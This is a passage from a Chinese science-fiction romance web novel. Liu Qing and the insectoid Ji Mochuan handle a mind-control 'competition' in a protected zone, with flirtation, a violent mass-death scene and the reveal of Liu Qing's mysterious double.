阿强举爪子作出投降状,“我就是提供个思路,不一定就是原因。再说就算是真的,你拿我撒气也没法啊。我就一……陪伴型智能管家。”
路遥在一边没听明白,“你们在说什么?”
刘清没解释,“没什么。”
路遥也没追问,她对露西亚很好奇,伸出手指摸了下露西亚的脑袋,然后惊奇地看着自己的手指。
“她是软的?”
刘清:“莱斯特第二形态在五岁才会彻底稳定,这之前的鳞甲都是软的,但每年都会硬一些。”
“哇哦!”
路遥感到神奇,但又有些疑惑,“她生的什么病?”
“她没病。”
“啊?但她共感域和我的‘臣民’几乎一样,就是被侵占的无意识状态。”
刘清皱眉,“你弄错了吧?”
路遥:“我好歹也是五分之一,外头世界记不全,但竞赛相关的我能弄错?”
刘清的脸色有些难看了。
露西亚的共感域本来就在事故中受损,无法变回人形态。之前看她活蹦乱跳,还以为共感调频对她没影响,难道放心早了?
刘清停下来,拉开背包拉链,托着露西亚的脑袋,轻轻捏了下她的耳朵。
“露西亚,露西亚。”
他小声叫露西亚的名字,心里急切希望露西亚立刻清醒。
路遥见状,不无遗憾道:“一般来说,共感域被侵占的个体,除非侵占她的主体意识给予她清醒的权力,否则……”
她的话还没说话,就见“被侵占”的露西亚慢悠悠张开了眼睛,睡眼惺忪地望了望刘清,然后抱住了刘清的手,黏糊糊叫了一声“妈妈”。
刘清松了一口气,心有余悸地摸着露西亚的脑袋,也没抽回手。
他对路遥投去一个“庸医”的眼神,“就你这判断力,我很担心你的竞赛胜率。”
路遥没有受到任何攻击伤害,反倒戏谑地看着刘清。
“‘妈妈’?”
刘清:“……”
路遥咧嘴一乐,“怪不得哨向ABO的安利你反应那么大,敢情是欲盖弥彰,此地无银三百两啊。”
刘清:“……”
22.观念差异。
解释不清楚了,刘清选择放弃。
男妈妈就男妈妈吧。
刘清把露西亚从背包里抱出来,问路遥:“有孩子能吃的东西吗?”
“有,必须得有,刘清妈妈的宝宝,就是卖血我都得给她买吃的!”
“……差不多得了。”
路遥哈哈一笑,复又正经起来。
“我认真的,这一顿就可劲吃,之后能不能吃饱还是个问题。”
刘清也严肃起来,“怎么了?”
“我之前说过,这次给原住民的主题是大灾荒。虽然现实情况并不是这样,但保护区的环境调控已经开始了,很多食物都会快速腐坏。”
“不是还有电吗?冰箱应该能用。”
“但他们没有用的意识。”
路遥露出一个不甘的苦笑。
“即使是我这样的五分之一,也无法完全违抗‘大灾荒’的潜意识。他们就更糟糕了,哪怕食物就在眼前,他们也只会吃掉勉强果腹的份,多余的就扔在那,根本不碰。时间越是往后,这种现象只会越严重。”
“你没法影响他们的意识?”
“我说了,连我也无法违抗,又怎么去影响他们?”
路遥换了个语气,说:“不过你们不受影响,赶紧去吃吧。能藏一些冷冻冷藏的就藏,不然后边指定跟我们一起挨饿。”
前头出现了医疗站的十字牌子,周围堆了许多的纸箱,还有几个人还在给药品分门别类。
“就这了。随便用。”
路遥大手一挥,特别豪迈,“不过离我远点,我怕你待会撕他手上透明胶的时候溅我一脸血。”
“……”
“说起来,能用透明胶临时止血,你也挺有创意的。那胶带上还有金漆呢,虫族的身体素质这么强悍的吗?都不怕被感染?”
“那是他的血。”
“……”
路遥张着嘴巴呆了呆,惊讶道:“虫子的血原来是金色的啊!”
刘清:“……”
他实在懒得科普虫族的种目多样性,敷衍点头:“对对对,金色的。”
“那他的皮肤怎么不是……”
路遥兴致勃勃的声音突然停下来,笑容收敛了,皱起眉头,眼神有些冷。
啧。
她咋舌一声,对刘清说道:“这里的东西你们随意,我这边有点事要出去处理一下。一会你们弄完了出来找我就是。”
她指了忙碌的人群一圈,“随便找个人问一下,他们都能知道我在哪儿。”
刘清看她神情有异,但似乎并不是多严重的事态,就没多问,“行。”
…
刘清从医疗站拿了需要的东西,还找到了被整理药品的人当作垃圾的一箱牛奶。
刘清从里面掏出了一盒,趁这些人不注意,把一箱牛奶收进了储物芯片。
“走吧。找个房间给你处理下手跟腰。”
季末川也弯腰捡了个东西,跟着刘清进了旁边的一间杂货店。
刘清在一排货架后头停下,在上头清理了一块放药品的空间,然后又从收银台后头的储藏区拉出来一个凳子。
“坐这。手给我。”
刘清进入了工作模式,表情很专注。
“我先说啊,我对外科不精通,更是完全没有医治过虫族,要是给你缝出问题了你不能秋后算账。”
季末川乖乖伸着手臂,或许是阻隔了痛觉意识的缘故,他平静得好像那条手臂不是自己的。
“我不秋后算账,但你能不能对我负责?”
刘清的眼皮都没抬一下,“您家虫王陛下知道你在外头对个原生人类乱撩吗?”
季末川:“那你有被我撩到吗?”
刘清:“……”
季末川另一只手伸过来,掌心里躺着一颗医用的钛钢耳钉素圈,大小乍一看,像一颗戒指。
“虽然虫族没有这个习惯,但你们定情的时候似乎是要送这个。”
刘清愣了一下,盯着那个素圈看了两秒,接着装没看懂一样。
“我没打耳洞。”
“我知道这不是戒指,但现在条件艰苦,你将就一下?”
刘清没好气地道:“我为什么要将就?”
结果季末川好像就等着他来气似的,立马收回手里的替代品,指着隔壁不远的金店柜台。
“我马上去挑个好看的。你喜欢宝石吗?”
“……”
刘清这才明白,这人绕这么一大圈,就在这等着。想明白后又有些哭笑不得。
“免了。咱俩的关系远远没到那一步。”
季末川露出失望的表情——但一看就是演的成分居多。
“那要怎样才能跟你到那一步呢?”
“……”
刘清的动作停下,随后完全放下了双手,露出一个营业式的笑容。
“我有必要提醒您一下:您是虫王的绝对伴侣,尽管虫王陛下因为某些原因暂时把您送出了虫星,但您现在已经蜕变。等到虫族的繁衍季一过,您跟虫王陛下势必会被你们之间的绝对吸引拉扯到一起。
“您就不怕,到时候虫王陛下发现您在外头这么浪,给您好果子吃?”
季末川露出一个今朝有酒今朝醉的洒脱笑容,“那至少这一个月里他不知道。”
刘清听完这句话,脑袋里那根刚搭上的不知名的弦,突然就断掉了。
他冷下脸,没有回应季末川的话,拿起剪子开始拆季末川手臂上的胶带。
“好了,安静,先处理你的伤口。”
季末川自然看出了刘清的态度变化,他心里有些疑惑。但他的屏障包裹下的刘清的共感域,就像是一台打开了冷冻舱门的冰柜,嗖嗖往外冒着“抗拒”“不愉快”的冷气。
这不是个继续说话的时机。
两个人安静地一直到伤口被处理好。
刘清的情绪已经恢复了平静,说话的时候看上去跟之前没什么两样。
“你们虫族的身体素质果然逆天,伤口内部几乎都愈合了。不过你穿戴了皮囊,本身肢体有折叠,虽然表面愈合了,但内里伤情你自己拿捏着吧。痛觉阻隔也自己看着办。”
季末川应了一声,“我没阻隔。”
刘清反应了一秒,随即露出惊讶的表情,最后又是皱着脸,“看来路遥刚才说错了。”
哪里是S,分明是个M。
季末川没明白,“嗯?”
刘清跳过这话题。“我去洗个手,回来给你处理腰上的皮。”
他转身又进了店里的储藏室,这里头有一个饮水机,桶里的水还有很多。
淅淅沥沥的水声响起。
季末川收回视线,看向一直挂在旁边货架上的阿强。
“他生气了。为什么?”
阿强闻言无比震惊
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,“你不知道?”
季末川思忖两秒,迟疑道:“有猜测,但不确定,你先告诉我。”
阿强无语,反问道:“你是真喜欢刘清?我是说带性方面的那种喜欢,你懂吧?”
季末川:“当然。我表现得不够明显?”
“明显。但你刚才说那话又啥意思?你家虫王都把你扔出来,选别人作伴侣了。你既然喜欢刘清,干嘛刚才不表个态?还什么‘至少这一个月他不知道’,你这是追人呢,还是偷情呢?”
季末川印证了心里的猜想,脸上却还是残留着一些疑惑。
“我是虫族,共感域从属关系是我的基因,无论陛下想不想选择我,我们的命运都是被定死的。难道要我骗他,说我不会被陛下吸引?”
“这是骗不骗的问题吗!?”
阿强简直服了。之前看季末川游刃有余的态度,他以为这家伙什么都明白呢,结果到头来就是一个“活在当下”的风流哥。
阿强懒得跟他上课了,直接劝退,“我看咱也别探讨了,他要的是天长地久,你只在乎曾经拥有。你俩对感情的认知都不在一条道上,你趁早打住吧。”
季末川反驳道:“可他跟我说过,‘遇到一个两情相悦的人难如登天,所以即使一段短暂的热烈爱情,一生拥有一次也足够了’。”
阿强“哈”了一声,“他啥时候跟你说了?你俩就认识两天,我全程在线,你别瞎编。”
季末川看它一眼,没解释。“他就是说过。”
阿强:“行行行,当他说过。可就算是他说的,但他也绝对不是你理解的这个意思。”
“那是什么意思?”
储物间传来动静,水声停了。
阿强立马作了个简短的结束语,“你自己领会去吧。”
刘清洗完手出来,走过来拍了下季末川的肩膀,“起来,转过去,衣服撩起来。”
季末川没有动,他轻微仰头看着刘清,似乎有话想说。
“怎么了?”刘清疑惑。
季末川垂下眸子,长长的睫毛盖住了眼睛里的情绪。
他呢喃道:“我明白了。”
刘清没明白,“啊?你明白什么?”
季末川没回答,抬头对刘清笑了一下。
刘清:“???”
季末川站起来转过身去,脱掉了衣服。
没了衣物的遮盖,他身上被遮挡的缝合痕迹就全部暴露了出来,重重叠叠,触目惊心。
即使知道这些都是“假”的,刘清看到后还是忍不住蹙了下眉头。
季末川感觉到他的共感域传达出的情绪,嘴角翘了一下。
他宽慰刘清,“皮囊的韧性很强,你放心缝。就是碰到了里头的甲壳也没关系,这点疼我能忍住。”
“……”
刘清瞥了眼他已经被包扎好的手臂,真诚发问:“你是有什么自虐情结吗?”
季末川低声笑了一下,偏头看过来,“我只是讨厌失去知觉的状态,所以宁愿疼着。其实我疼得都有些想发脾气了,但想要在你跟前耍帅,所以才忍住的。”
“……”
刘清拉过凳子坐下,拆开带线反三角针包装袋。
“你顶着这张脸,我只会认为你在跟我撒娇。”
季末川大蛇随棍上,“那撒娇对你有用吗?”
“没用,闭嘴吧。”
“哦。”
23.殷勤。
虫族的皮囊比看上去的硬很多,刘清用了全力缝合,最后还是留了指宽的缝隙没有对齐。
反正不破就行。
“如果之后还有哪儿破了,你就尽早说一声。实在不行,就找个不见人的地方再破皮。你的虫侍们肯定也在外头想办法,最好是别在里头暴露你的原形态,免得成为众矢之的。
“以防万一,我再多嘴问一句:你的共感域等级如何?我是说万不得已的情况出现的话,你有把握对抗操控竞赛的最终赢家吗?”
季末川只是伪王的一个“移动载体”,连意识都没有复制完全,刘清不确定他的共感域投射来了几成。
“有。”季末川在穿衣服,回答得很干脆。
刘清追问:“几成?”
这个问题让季末川都笑了,他转身看着刘清。
“抛开纯虫目,虫星的青壮人口四十亿,这个保护区老老少少拼起来统共不到八万人,你问我有几成把握?”
最后一句话出来,不仅无奈,还有些“你不相信我”的委屈。
他的表情真挚,刘清不由避开他的注视。
“是我误会了,我以为康恩殿下的共感域和意识一样,只是部分投射到你身上——那你能直接控制调频装置的共感域吗?”
季末川偏头,“理论上是没有问题。”
刘清:“但是?”
“但是,你刚才说的没错,‘我’的意识和共感域都只投射了一部分在我身上。为了避免伤害到你,‘我’和我之间的共感域关系是:我所有作为的后果,都将由‘我’承担。
“所以理论上,我可以直接结束这个操控竞赛,但只要我动用了一定程度的共感域,护理所的‘我’就会出现一些不可控的行为。”
刘清听完就立马放弃了让季末川动手的想法。
“那还是算了。反正你不见了,塞弗恩特绝对会想办法捞你出去。”
顿了一下,刘清补充道:“梁三山跟老夏肯定也会发现我不见了。所以咱们还是先苟着吧。”
季末川点头,然后朝刘清伸出手。
刘清没动。“……干嘛?”
“三米距离。”季末川提醒道,“我们最好连在一起。”
连……
“……”
你可真是个用词小天才。
刘清还是不动,“控制距离的方法有很多,不一定要牵手。”
季末川倏然笑了,举起另一只手——这只手上拿着一团红色的粗棉线,是用来绑粽子和螃蟹的那种,绳子上头的标价签还没拆。
“我是说,用绳子控制一下。”
刘清:“……”
这狗东西绝对是故意的。
刘清有些牙痒,但最后还是乖乖在手腕绑上了绳子。
暗红色的棉绳在他白皙的皮肤上格外显眼。商场里的空气憋闷,刘清的皮肤上出了一点细密的汗,泛着莹润的光泽。
汗水与红绳,看上去像是某种情愫的暗示。
季末川的视线在刘清的手腕停留了一会,又顺着红绳回到了自己的手上。
“其实它更适合系在脚踝上。”
“啊?”
“赤绳子耳,以系夫妻之足。流传更广的说法是:月老红绳。”
“……”
刘清“呵”了一声,挂着一个假笑,“那等您回去虫星后,务必记得向虫王陛下献上一条红绳。”
说罢,刘清转身朝外头走去。
红绳被拉扯得笔直,拽起了季末川的手腕。
季末川像是春天刚被催开的桃花,被春风一卷,便眉欢眼笑地跟在春风后边飘走了。
“刘清,你是在吃醋吗……”
阿强飞在最后头,又想看戏,又觉得这戏迟早要出大问题。半晌它才老气横秋地叹了一句:“哎。祸水啊。”
…
刘清找了个年轻人,问他路遥的所在。
年轻人却是先看了他俩的红绳几秒,而后视线在季末川脸上逡巡两回,皱起了眉。
他目光凌厉地看着刘清,问:“这小孩是你什么人?”
“……”
刘清木着脸说道:“弟弟,傻的,牵着怕丢了。”
季末川被说傻子也不气,还朝刘清靠过去,甜丝丝地叫了一声,“哥哥。”
刘清:“……”
年轻人恍然,随后有些不好意思,“抱歉啊,我刚才还以为……现在这世道这样,牵着确实安全些,前些天还听说城南那边有人抓人吃呢。——来,这边走,路姐在十字路口那里。”
刘清抓到他话里的几个字,“前些天?”
“是啊。城南那边都是建筑工地跟公墓,灾荒开始一周后就没吃的了,前几天听说那边的人抓了一些精神病院的傻子,当菜吃了。”
刘清皱眉,脸色不太好。
季末川走在他旁边,小声说,“共感调频才开始不到两个小时,这些记忆都是调频装置给的预设。所以应该没有发生这种事。”
刘清也压低声音。
“我知道。我只是在想,调频装置为什么会有这样的预设。”
共感域的影响是双向的。
就像虫族,虫王可以影响任何一个臣民的共感域,但如果所有臣民被激发出了类同的一种情绪,那它就会反过来侵蚀虫王的自我意识。
简而言之,保护区目前这种大规模的恐慌,肯定会对调频装置进行一定程度的影响,甚至损坏。
要知道调频装置可是保护区的“命根子”,所以无论是从长期发展,还是从商业利益,乃至“原住民权力”这些角度来看,这种灾难性的调频预设都是不应该存在的。
季末川却想得很简单,“故障后冒出一些自毁的想法,不是很正常的事吗?”
“人可能会,但智能机器不会。”
“调频装置是机器吗?”
“不然呢?”
“不一定吧。”
“……”
刘清看向季末川,以眼神询问。
季末川:“虽然也有‘魂晶回路’这种技术,可以创造出类共感域的存在。但这么大体量的共感调频,据我所知,目前还没有能作为其载体的魂晶,也没有人有镌刻出这种回路的技术。”
“这么肯定?”
“我是虫族王族啊,哥哥。”
“……”
“共感调频也好,一人军队也好,都是以虫族的蜂巢意识为目标的。每年为这个来虫星求教的人,数不胜数。对这种技术,应该没人比我们更清楚。”
刘清没说信不信,但脸色已经变得难看,“所以你认为调频装置的核心是个人?”
“路遥不是也说了,调频装置有‘主体意识’——我很确定,魂晶回路不会有主体
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意识,只有指令。
“我觉得,这次的故障,可能是这个主体意识的短暂清醒,一瞬间的强烈意愿,就是想要抹杀自己的意识,达到自毁的目的。而有资格对这个意识动手的人——”
刘清吐出一口气,接下季末川没说完的话,“操控竞赛的赢家。”
季末川点头,“我是这样想的。”
刘清按了按眉心,放下手后,情绪并没有太大的变化。
“也不意外。保护区本来就不把人当人,调频装置是个人……也算不上什么了。”
季末川看着刘清的表情,“你这么不喜欢保护区,为什么还要这么频繁地进来,还在这里弄了一个家?”
刘清扯了扯嘴角,“可能因为我也不是个好人吧。”
季末川却立马摇头,“恶人是不会自我反省的。我猜,你只是喜欢这里的生活,就像很多游客进来,其实也是想要回到过去的时代一样。”
刘清怔住,不由看了季末川一眼。
季末川弯起眼睛笑,“猜对了。”
刘清:“……”
季末川又自顾自地说下去,“你看到了保护区的残酷,但没有办法改变它,所以你在面对原住民的苦难时,会感到自责和愧——”
刘清打断他。
“抱歉打破你的美好幻想,但事实上是我非常享受这里。
“在这里没有法律约束,不受外面世界的限制,不用承受任何的道德谴责,就像是一个真人游戏——比如三年前的极限竞赛。”
刘清盯着季末川的眼睛,“这才是我喜欢这里的理由。”
“……”
季末川缓缓扯出一个清澈的笑,眼里的亲昵不减半分。
“我不信。”他说。
刘清收回视线,加快脚步,“那是你的事。”
季末川笑了一下,在红绳被扯直前跟上了刘清。
他懒洋洋地叹道:“刘护理呀,你是不是忘记了一件事?”
刘清没理他。
季末川:“你那毫无屏障、肆意外放的共感域,现在在我的屏障之下呢。”
“……。”
刘清的脚步骤然停住,被点穴了一样立在那里。
季末川龇牙咧嘴,露出个得逞的笑,“你刚才共感域的情绪,可没有你说的话那么冷酷。”
“……”
刘清用力瞪了季末川一眼。
季末川笑出了声,却又在下一秒骤然收敛了笑声,温柔地看着刘清。
“刘清,之前的那些话我不是诳你的,更不是在贪馋你的身体。
“我只是想要你知道,即使只有一个月的时间,也有人这么……不讲道理地、毫无理由地、不计后果地想要爱你,靠近你,了解你,亲吻你,拥抱你。
“——但我好像搞砸了。”
刘清移开视线,胸膛里滚过的那一丝滞涩,仿佛一颗刚萌了芽却遇了旱的种子。
“不过我对你的喜欢不可能就这么消失掉。我还是想要靠近你,了解你,爱你。”
“……”
刘清的视线又挪回到季末川脸上。
季末川重新绽出一个灿烂的笑。
“所以刘清,可不可以请你忘记我那愚蠢的短暂爱情邀请,去尝试拥有我一个月的、毫无保留的、真诚无比的……殷勤?”
刘清:“………………”
24.奴隶印记。
刘清原以为路遥就在附近,但没料到他们被带出商场,还被带上了车。
是二十一世纪的普通轮式汽车,一路开到三条街外。
这是F区的一个湿地公园,周围都是城内公路和在建的楼盘,交通发达。从公园外头路两边停的车的数量来看,这个湿地公园的游客量并不少。
但车一路开进去,却一个人都没有看到。
车停在最大的平台广场上。
路遥就站在那里,周围一个人都没有。
“你俩……这又是什么play?”
路遥转身看他们下车,注意力第一时间被他们两人之间的红绳吸引了。
这会外边的温度降低了一些,但依旧在35度左右,刘清的衣服已经汗湿透了。
他抬起一条手臂遮住阳光,睨着眼睛看路遥。
“不是你说的让我控制距离?”
路遥一脸见鬼的表情,“那也没让你用捆绑系啊,还是红绳。你这隐藏癖好是不是多了点?”
刘清没好气道:“我看是你脑子里的黄色废料多了点。——你在这做什么?”
路遥“呵”地笑了一声,手随意朝外头一指,“喏。”
刘清走过去。
季末川走的时候换了个方向,站到了刘清朝向太阳的那一边。
平台下是一条沿着河道的步行路,这里刚好是个游玩区,所以下面还是有一片空旷的区域。
此时,这片区域里堆满了人——是的,堆满了。
这些人背对背围成了一个多重的同心圆,一层叠一层,一人踩一人。底下的人趴着、躺着,七窍流血、姿态扭曲……显然失去了生命迹象。上面的人依旧层层叠叠,面色如出一辙地惶恐,朝前伸着手、张着嘴,用同样的表情和同样的姿势,企图抵挡着外来的攻击。
这一堆人外头只围了一圈人。
刘清看到其中有一两个眼熟的,都是那会跟路遥打过招呼的人。
显然,包围这一堆人的人就是路遥的人。
路遥的人手持武器,或刀或棍,也有一些不太正规的枪。对于那些企图扑上来的人,他们毫不犹豫地进行着攻击。
但尽管他们没有主动攻击,看上去依旧是一场单方面的屠杀。
路遥观察着刘清的表情,在刘清蹙眉的第一时间,她就出声了。
“你要是看不下去,就一边阴凉地方歇歇。等这边完事了我再跟你说。”
刘清没动。
“我没那么脆弱,你现在说吧,这什么情况?”
路遥伸出食指,点了下人圈里最中心的位置。
“那里,一位五分之一。”
刘清惊讶。“这么弱?”
路遥:“就不能是我更强?”
刘清看她一眼,没说话。
路遥:“……”
路遥哼了一声,说:“原本是不弱的。我们五个人,每个人初始得到的臣民,最少也有三千人——顺便一提,我就是那个三千人的。”
刘清又惊讶了一下,“那这是?”
路遥的笑容敛了敛,“只按初始分配来算,这个是第三名。只是他过来之前就已经被‘吃’了大部分,现在就剩这么点儿臣民能操控。或许是他慌不择路逃过来的,也或许是吃他的人故意让他来的。——你觉得是哪个?”
“如果你说的‘吃’是指意识侵占,我选择后一个。”
意识侵占可以中止,但在这场“操控竞赛”里,“五分之一们”绝对不可能中止侵占。
除非别有目的。
路遥把手往脑袋后头一枕,“那可就麻烦了。我们五分之一都不知道对方是谁。可这个吃人的人,却可以在短短两个小时里吃掉五分之一里的第三名,还能精准知道我的位置……”
路遥转头看向刘清,露出一脸可怜模样。
“咋整,我有点不自信了。”
刘清看她一眼,“别妄自菲薄,没人能跟你比自信。”
路遥无语,“这种时候难道不该来安慰我,并表态要一起帮我?你俩共感域等级不都挺高的吗?”
“没高到能跟几千人抗衡。——这些人非杀不可吗?你就不能接手了他们的共感域,纳入你的麾下?”
路遥轻轻摇了摇头,“他们已经被我们标记过了,意识标记——你应该懂的吧?”
她问的是季末川。
季末川侧着身,阳光从他的身侧切过来,堪堪擦过刘清的发顶和鞋尖。
季末川正在看被自己的影子淹没的刘清。
听到路遥抛来的话题,他的视线慢了一秒才懒洋洋地挪过去。
“如果你说的是虫族的话,意识标记是强对弱,一种绝对从属关系。
“标记者可以收回标记,但如果没有收回,而标记者死亡的话。轻,被标记者忽视标记,照常生活;重,被标记者会随标记者的生命终结而终结。
“但如果中途第三者介入标记,第三者又比原标记者弱的话,强行洗去原标记,必定会导致被标记者意识紊乱,或疯或傻,或死。”
刘清皱眉:“这不就是奴隶印记?”
季末川蓦地一扯嘴角,但那并不是一个笑,反而像是一种嘲弄的情绪。
“对。奴隶。虫族所有破了壳的人的共感域里,都有虫王的意识标记。”
刘清的眉心微动。
有点懊恼刚才的一时口快。
路遥:“所以这些人我无法控制,而且在他们的领主死后,他们也会死掉——但目前来看,这位已经被吓破胆的领主,似乎会先让他的臣民全部为他牺牲才会罢休。”
路遥叹了口气,仰头看着远处飞过水面的红嘴鸥。
“再等会吧,快了。”
…
正午。
平台下安静了。
燥热的空气蒸腾着血的腥味,被河边的风一阵阵卷走,又一次次重新发酵。
刘清有些反胃。
路遥从平台上跳了下去,与此同时,刘清感觉到了一阵不一样的波动——路遥张开了她的共感域。
意识侵占并不会有肉眼可见的过程,但被侵占的意识体还是会作出一些生理反应。
那并不是个愉快的画面。
刘清不想看。
他先是低头看了眼露西亚——在商场喝过牛奶后,她又睡着了。可能是共感域多多少少还是受到了一些影响。
刘清现在也不敢动她的共感域,毕竟他自己的共感域还没有稳定。
说起来,也不知道老贾给的假酒的后遗症到底什么时候才能消除完……
刘清任由自己走神,过了一会,突然听到季末川的声音。
“你在想什么?”
刘清抬头,刚好对上季末川低下来的脸,他骤然看到季末川被阳光褪色的长长的睫毛,以及瞳孔里的一抹蓝。
两人的距离过近了。
刘清往后仰了头,以眼神丈量了一遍季末川跟自己的距离。
季末川看懂他的眼神,作出可怜样:“哇,好无情的男人,我给你挡了大半天的太阳,你还瞪我?”
刘清这才注意到,季末川的手不知道什么时候举在他的头顶,为他遮挡着正午垂直而下的炽烈阳光。
“不是你自己说的要献殷勤,这会又抱怨起来了?”
刘清说罢,拉下了季末川还举着的手。
可这一入手,他不由惊了一跳——季末川
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皮肤的温度极高,简直像是一块烧红的钢铁。
饶是虫族跟原生人类的构造再不相同,这么高的温度裹在身上,怎么也不可能是舒服的。
刘清不可思议地看着季末川,“你们的皮囊都不散热的吗?你自己不觉得热吗?”
季末川:“这副皮囊本来就是拼凑的,唯一的功能就是遮盖我的虫体。”
他没回答刘清的第二个问题,但刘清自己知道答案。
“如果你说要我接受的殷勤,是这种自我牺牲式的奉献,那就免了。”
他有些生气地冷声道,却抓着季末川的手腕,把他拉到了旁边的一棵大树下。
季末川任由他拽着,脸上浮着的笑收了一些。
“刘清,你生气了?”
刘清没说话。
季末川有一些沮丧,“我是不是又搞砸了?”
刘清:“……”
季末川:“我继承了许多代绝对伴侣的传承,继承了他们的知识和一些情绪与过往记忆。
“每一代绝对伴侣的对象都是虫王,他们是陛下的辅佐者,也是他的宣泄对象。他们爱慕陛下,也无条件地对陛下服从、给予、献上自己的一切。心甘情愿。
“我才破壳,也才蜕变,没有人教我,我只能从传承里学习这些东西——但这好像不是正确的?”
刘清听着,脑海里闪过的却是季末川回到虫王身边的画面。
他也说不清自己对季末川到底是怎样的态度,可毋庸置疑,他并不讨厌季末川。
真是三千烦恼丝,丝丝闹人。
刘清按了下眉心,看季末川一脸可怜兮兮的表情,心脏里有个地方不由自主塌了一块。
他深吸一口气,说道:“季末川,喜欢一个人,或者爱一个人,最大的前提是你得先学会爱自己。
“我不认为被铭刻了意识标记的两个人是对等的,所以也不认为那些服侍、仰视、以及单方面的奉献是健康的爱。我……”
刘清突然停下来。清醒过来。
他们不过露水姻缘,又有什么资格和必要说这种长远的话。
刘清看向他处,“总之,如果你还是要这样牺牲奉献地给我添堵,那就麻烦你离我远点,让我清净一些更好。”
“……”
季末川似乎张嘴有话要说。但这时,平台下却传来路遥的尖叫。
“操!!!”
路遥用尽嗓子地咆哮着。
刘清吓了一跳,转头看到路遥正疯了一样挥拳拖着一个男人猛揍。她的拳头上全是血,每一拳下去仿佛都能听到颌骨碎裂的挤压声。
她的臣民都退到了一边,没人敢上前。
刘清急忙走下平台,在那一堆血肉模糊的人跟前止步,浓郁的腥气让他皱紧了眉头。
他扬声道:“路遥,怎么了?发生什么事了?”
路遥殴打的动作停住,身体因为剧烈喘息而起伏着。
片刻,她丢开手里的人,转头定定地看着刘清。
那眼神,仿佛要把刘清的肉都要剜去一块。
刘清微怔,心中警惕。
季末川不动声色地上前半步,侧身挡在刘清的跟前。
“嗤。”
路遥冷笑一声,踩着堆叠的血肉躯体,摇摇晃晃走下来。
“紧张什么,我又不吃他。”
她一把推开季末川,把手里的一个东西往刘清手里一塞,没有说话。
刘清狐疑,掌心首先感觉到的是血浆黏滑的触感,而后才摸出被塞进手里的是一团捏皱的硬纸片。
是张照片。
刘清展开照片,擦去上头的血迹。当看清其内容后,刘清整个人如遭雷击。
25.他是谁?
季末川感觉到刘清翻滚的情绪,偏头看了眼他手里的照片。
照片很新,像是刚打印出来的。画面里头是一个躺在维生舱里的小男孩。小男孩看上去五六岁的样子,很瘦,面色苍白,眉目安详,乍看去像是躺在棺材里一样。
小男孩的五官很让季末川感到熟悉。
他转头看向刘清,又看了一眼照片,确认道:“刘清,这是你吗?”
“不是。”
刘清很快地否定了,并且确定这个答案,可是太诡异了。
阿强替刘清惊呼出了声。
“我去!这跟你小时候简直一模一样!还都这么瘦,还有这道疤——你发烧那晚上自己挥手撞床上划拉出来的。怎么连这个都能一模一样?”
刘清不太记得伤疤的事,看了阿强一眼,“你确定?”
阿强无语,“你在质疑一台智能机的记忆功能?”
刘清:“……”
“真的一模一样吗?”路遥突然开口问道。
阿强笃定:“都不是一模一样了,简直就是复制粘贴。”
路遥扯了下嘴角,神情有片刻恍惚。
“……原来……我还奇怪呢,怎么就这么像,这么巧。”
“……”
“这是我弟弟。”她紧绷的声音里裹着一丝温情。
“七年前,他五岁,还在上幼儿园。那个暑假里他生了一场重病,高烧不退,差点就没了。国内医院检查不出来原因,爸妈就带他去了美国治疗……
“现在想来,他们三个人应该在那时候就被送进了储备区。七年过去了,他还是五岁的模样。”
路遥的情绪很快稳定,她看向刘清,那眼神也不知道是觉得刘清可怜,还是觉得自己可怜。
“我们一个随父姓,一个随母姓。他叫刘清。”
刘清的眼睛骤然睁大。
阿强也“我操”一声,倒抽了好大一口气。
路遥料到他们会有大反应,见状故作轻松地笑了一下,“不然你以为我一个鲜嫩的大二女生,做什么要对你一个大龄男邻居这么好?”
刘清混乱之中回了一嘴,“我才24。”
路遥:“我下个月才20。”
刘清:“……”
刘清用指关节敲了下眉心,“巧合到这种程度,根本不可能是巧合。如果我没记错,保护区里头有人物定制服务。很多游客会愿意在这里养着自己已逝的亲人、或者重要的人。”
路遥问他,“你觉得是我爸妈定制的你?”
刘清摇头,“我是个孤儿。”
路遥怔住,她第一次知道。
刘清已经想到了一个可能性。
“或许是保护区调用了孤儿院的信息库。用一些杂血原生人类来替代原住民,填充一些损耗较大的项目。”
地球本就是个边缘星球,原生人类又是亚人类里的边缘存在。
养育原生人类孤儿的地方,发生了什么事情,都不会有任何人在意。
“或许吧。”
路遥定定地看着刘清。
“可不管他是怎么来的,对我来说,事实就是:他是我看着出生的,是我亲自照顾陪伴长大的,会叫我姐姐,会粘着我依赖我……对我而言,他就是真实存在的亲人。”
刘清心有所感,看向路遥,“所以,你想要我做什么?”
路遥沉声道:“交换他。”
季末川的脸色骤冷,共感域卷起烦躁的涟漪,眼底的幽蓝光泽几乎要凝固成冰。
刘清并没太大的意外,“具体说说。”
路遥深吸一口气,指了下身后那堆血肉,“这是他让人送来的‘快递’,我吞掉的记忆里,五个金字塔尖,现在就剩下两个了。一个是我,一个是他。
“他知道你在我这里,他要我带你去城里,换我弟弟。”
“‘他’是谁?”
“你认识的。雷奎。”
刘清愕然,随即脸色更难看了。
季末川看着刘清眉间堆叠的皮肤,问:“那是谁?前男友?”
刘清:“……”
刘清斜了他一眼,才说:“三年前,有个极限竞赛。雷奎是赢面最大的选手擂主。”
季末川:“然后呢?他跟你有什么关系?他为什么要你?”
刘清:“因为我是唯一赢过他两次还全身而退的人。他很小心眼,胜负欲也强,现在他在这么‘高高在上’的位置上,又知道我就在保护区里,当然不会放过这个机会。”
“他很厉害?”
“他很狠。不要命。贪婪又疯狂。不把自己的命当回事,更不把别人的命当回事。”
刘清似乎回忆起了一些三年前的往事,眼里流露出厌烦的情绪,“不是个让人愉快的家伙。”
路遥这时候也补充道:“三年前那个比赛被查封,我倒霉碰上了散场的雷奎,差点被他当兔子追猎。是刘清救了我,雷奎还为此记了刘清一笔。”
阿强闻言立马反问,“那你就这么对你的救命恩人的?”
路遥冷声道:“我的命可以赔给他,但我弟弟的命不行。”
阿强:“你清醒一点好不好?就那种人的品行,你觉得他真会把弟弟还给你?退一万步说,就算真会给你,但你们这个操控竞赛必定会只剩最后一个人。就现在状况来看,你觉得你能赢了他?你一死,你弟弟不照样任人鱼肉?”
然而路遥根本听不进去任何道理。“那至少要让我弟弟死在我之后。”
阿强气结,“你就不能换个思路?咱合计合计个谋略,反杀一波啊!”
路遥笑了一声,“怎么反杀?说好听点我跟他是二分之一,实际上,他是五分之四,我是五分之一。你们呢?就算是超S的共感域,能抹杀操控数万人的雷奎吗?还是说你——”
她突然看向季末川,“你难道是虫王吗?可以直接用共感域震碎调频装置吗?”
季末川:“……”
刘清:“……”
阿强:“……”
季末川看刘清。刘清果断回答:“他不能。”
